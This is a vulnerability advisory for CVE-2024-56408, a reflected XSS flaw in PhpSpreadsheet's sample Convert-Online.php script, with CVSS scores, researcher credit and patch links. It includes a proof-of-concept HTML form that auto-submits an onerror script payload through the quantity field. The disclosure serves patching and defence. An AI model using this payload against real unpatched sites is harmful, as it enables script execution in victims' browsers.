PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
# Unauthorized Reflected XSS in `Convert-Online.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the quantity variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.  *Figure 4. The message with the quantity parameter is displayed without sanitization* The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization. <img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" /> *Figure 5. In the server's response , the quantity variable is displayed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight and Mass" /> <input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" /> *Figure 6. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2024-56408US | medium5.4 | — | ||
PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 have no sanitization in the `/vendor/phpoffice/phpsprea… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/PHPOffice/PhpSpreadsheetPACKAGE
- https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abcWEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25eWEB
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xgWEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-56408ADVISORY
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